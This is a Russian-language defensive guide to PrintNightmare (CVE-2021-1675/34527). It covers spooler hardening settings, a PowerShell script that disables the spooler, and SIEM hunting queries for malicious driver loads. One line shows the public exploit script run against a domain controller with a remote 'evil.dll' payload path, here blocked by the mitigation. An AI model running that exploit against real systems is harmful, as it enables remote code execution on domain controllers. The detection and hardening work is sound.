
CVE-2021-1675 Информация об обнаружении
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Этот репозиторий содержит образец EVXT атаки CVE-2021-1675 и CVE-2021-34527, а также минимальный файл конфигурации Sysmon, который можно использовать для генерации соответствующей телеметрии.
Обратите внимание, что эти правила могут быть обойдены - пожалуйста, установите соответствующие патчи и отключите службу диспетчера печати на контроллерах домена.
Пожалуйста, протестируйте все рекомендуемые исправления перед развертыванием в рабочей среде, так как могут быть непредвиденные последствия в результате этих изменений по усилению защиты. Мы написали сообщение в блоге с объяснением содержимого этого репозитория и найденной информации. Здесь: https://labs.lares.com/detection-and-mitigation-printnightmare/
Благодаря Benjamin Delpy, была обновлена блок-схема эксплуатации этой проблемы, чтобы определить, уязвимы ли ваши системы.

Security Settings -> System Services -> Print Spooler -> Disable
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections - > Disable
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Printers -> Point and Print Restrictions -> Security Prompts -> When installing drivers for a new connection -> Show warning and elevation prompt
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1Патч, выпущенный Microsoft в июне 2021 года, исправляет CVE-2021-1675, но, к сожалению, не устраняет проблему, известную как PrintNightmare (CVE-2021-34527). Поэтому можно применить обходное исправление, отключив службу диспетчера печати. Вот как это сделать как через GPO, так и через PowerShell. Подтверждено, что GPO исправляет как функцию MS-RPRN RpcAddPrinterDriverEx, так и функцию Win32 AddPrinterDriverEx, которые использует SharpPrintNightmare.
Следующая групповая политика может быть установлена для запрета клиентских подключений к диспетчеру печати, что является потенциальным обходным путем, когда полное отключение службы диспетчера печати может быть невозможным. Это было протестировано на контроллерах домена и конечных точках (W7/W10) в лабораторной среде, и пользователи все еще могут добавлять/удалять принтеры и печатать, однако это останавливает работу эксплойта. Примечание: Также известно, что эта групповая политика исправляет CVE-2021-34527, как отмечено на странице уязвимости Microsoft.
Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections
установите значение Disabled:

Затем перезапустите службу диспетчера печати на затронутом хосте. Если все прошло успешно, эксплойту будет отказано в доступе:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
Еще одно исправление/обходной путь — удалить прошедших проверку пользователей из Pre-Windows 2000 Compatible Access, как обнаружил Dirk-jan.

Убедитесь, что группа "Authenticated Users" не является членом группы "Pre-Windows 2000 Compatible Access". (По умолчанию эти группы не включены в текущие версии Windows.), как показано на скриншоте ниже — членов быть не должно:

Если вы не знаете, как это сделать, можно выполнить следующие действия:
Адаптирован скрипт 0gtweet для использования ADDomainController для получения всех контроллеров домена из домена.
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose
}
else
{
Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
}
}
Предоставленный файл конфигурации Sysmon CVE-2021-1675.xml может быть установлен с помощью Sysmon Config Pusher: https://github.com/LaresLLC/SysmonConfigPusher
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)
Общий способ охоты на эксплуатацию диспетчера печати — поиск ошибок, генерируемых диспетчером печати из-за загрузки DLL полезной нагрузки. Это можно сделать либо через поиск запуска WerFault.exe процессом spoolsv.exe, либо через генерацию события с ID 7031, показывающего неожиданное завершение службы диспетчера печати.
((index=sysmon EventCode=1
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe")
OR (index=windows Channel=System EventCode=7031
Message="The Print Spooler service terminated unexpectedly"))
После нескольких тестов эксплуатации реализации cube0x0 был обнаружен дополнительный артефакт: событие с ID 5145 с Share Name: \\*\IPC$ и Relative Target Name: spoolss. Преимущества этого подхода в том, что можно увидеть исходный IP (Source Address) и учетную запись (Security ID или Account Name), использованные для атаки. Могут быть ложные срабатывания от реальных серверов печати, но их можно отфильтровать по имени хоста и Access Mask. Могут быть и другие ложные срабатывания, которые можно отфильтровать комбинацией hostname-username-access mask.
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000)
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"
Источник: https://twitter.com/olafhartong/status/1410229699993874442




Источник: https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md
filemod_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\123
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND parent_cmdline:spoolsv\.exe
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND process_name:spoolsv\.exe
process_name:spoolsv\.exe AND NOT filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED
process_name:spoolsv\.exe AND filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED AND NOT filemod_publisher:"Microsoft Windows*"
Посты в Twitter со ссылками на атаки и запросы для охоты
Наблюдения контроллера домена против не-контроллера домена от Benjamin Delpy:
Очень удобная блок-схема от Stan Hegt из Outflank
Новое назначение CVE от Microsoft:
Дневник SANS ICS: